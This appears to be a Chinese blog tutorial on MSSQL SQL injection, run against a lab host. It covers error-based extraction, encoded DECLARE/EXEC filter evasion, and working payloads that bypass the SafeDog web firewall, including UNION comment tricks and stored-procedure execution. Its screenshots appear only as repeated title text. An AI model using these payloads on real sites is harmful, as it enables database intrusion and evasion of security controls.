mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

时间:2024-04-01 15:56:03

1.注入类型

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

验证如下:

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

验证如下:

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

注:一般不使用 数字占位,而是null,因为数字占位可能会发生隐式转换

用法有以下几种:

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

2.简单绕过注入

  • 报错注入类型语法:

                                   CAST( expression AS data_type )

                                   CONVERT(data_type[(length)], expression [, style]

http://192.168.232.174/test.aspx?id=1; select * from admin where id =1 (select CAST(USER as int))

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

 http://192.168.232.174/test.aspx?id=1;select * from admin where id =1 (select convert(int,user))

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

通过使用declare 函数(声明局部变量的函数),常用来绕过waf对一些关键词的拦截

declare:定义变量            set:设置变量值                     exec:执行变量

http://192.168.232.174/test.aspx/?id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

  • 变量类型支持 hex和char类型

http://192.168.232.174/test.aspx/?id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

http://192.168.232.174/test.aspx?id=1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--

在网页验证是需要将 +改为%2b,才能成功执行

http://192.168.232.174/Test.aspx?id=1;declare @a varchar(2000) set @a=CHAR(115)%2bCHAR(101)%2bCHAR(108)%2bCHAR(101)%2bCHAR(99)%2bCHAR(116)%2bCHAR(32)%2bCHAR(99)%2bCHAR(111)%2bCHAR(110)%2bCHAR(118)%2bCHAR(101)%2bCHAR(114)%2bCHAR(116)%2bCHAR(40)%2bCHAR(105)%2bCHAR(110)%2bCHAR(116)%2bCHAR(44)%2bCHAR(64)%2bCHAR(64)%2bCHAR(118)%2bCHAR(101)%2bCHAR(114)%2bCHAR(115)%2bCHAR(105)%2bCHAR(111)%2bCHAR(110)%2bCHAR(41) exec(@a)--+

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

3.bypass安全狗

测试环境 IIS+ASPX+MSSQL+IIS安全狗4.0

  • 开启安全狗

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗     mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

  • 简单句报错

http://192.168.232.174/test.aspx?id=1 and                       不拦截

http://192.168.232.174/test.aspx?id=1 and 1                    拦截

http://192.168.232.174/test.aspx?id=1 and -1                   不拦截

http://192.168.232.174/test.aspx?id=1 and -1=-1              不拦截

http://192.168.232.174/test.aspx?id=1 and ~1                   不拦截

http://192.168.232.174/test.aspx?id=1 and ~1=1               拦截

http://192.168.232.174/test.aspx?id=1 and ~1=~1             不拦截

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

由上述简单测试可知,安全狗对负数和布尔值不敏感。由此,我们可以根据and爆出一些基本信息如下

http://192.168.232.174/test.aspx?id=1 and @@version>~1

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

接下来,可以利用它的这些特性爆表名

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from sysobjects where xtype='u' and name !=’name’);--   拦截

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from);--                                               不拦截

http://192.168.232.174/test.aspx?id=1  and ~1=(select top 1 name from 1);--                                            拦截

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from a);--                                             拦截

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from !);--                                              不拦截

观察上述情况可知,安全狗对于from后面字符型或者整型进行拦截,试图采取符号包裹进行绕过。

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from[sysobjects]);--   成功绕过!

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

接着往后加入where语句,继续测试

and ~1=(select top 1 name from[sysobjects] where xtype='u');--          拦截

and ~1=(select top 1 name from[sysobjects] where xtype=);--             不拦截

上述可知,可以试着采用char和hex编码编辑表名

http://192.168.232.174/test.aspx?id=1%20and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

另外,爆其他的表名 测试发现也是安全狗拦截引号字符,可以用相同的方法绕过即可。

  • 联合(union)  bypass

http://192.168.232.174/test.aspx?id=1 union                         不拦截

http://192.168.232.174/test.aspx?id=1 union select               拦截

http://192.168.232.174/test.aspx?id=1 unionselect                拦截

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

尝试注释绕过:

http://192.168.232.174/test.aspx?id=1 union/*select*/                         不拦截

http://192.168.232.174/test.aspx?id=1 union/*!select*/                        拦截

http://192.168.232.174/test.aspx?id=1 union/*!1select*/                      不拦截

尝试闭合绕过:

http://192.168.232.174/test.aspx?id=1%20union/*!1*/*select--*/     成功绕过!

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

此时,构造payload

http://192.168.232.174/test.aspx?id=1 union/*!1*/*select null,name,null from [admin]--*/

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

虽然成功绕过,但是语法上有报错,有兴趣可以多尝试一下,将语法错误解决。

  • 此外,还有注释+换行进行绕过

http://192.168.232.174/test.aspx?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

  • 储存过程,万能bypass语句,里面任何代码都可以绕过安全狗

http://192.168.232.174/test.aspx?id=1--/*exec xp_create_subdir 'c:\text'-- */

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗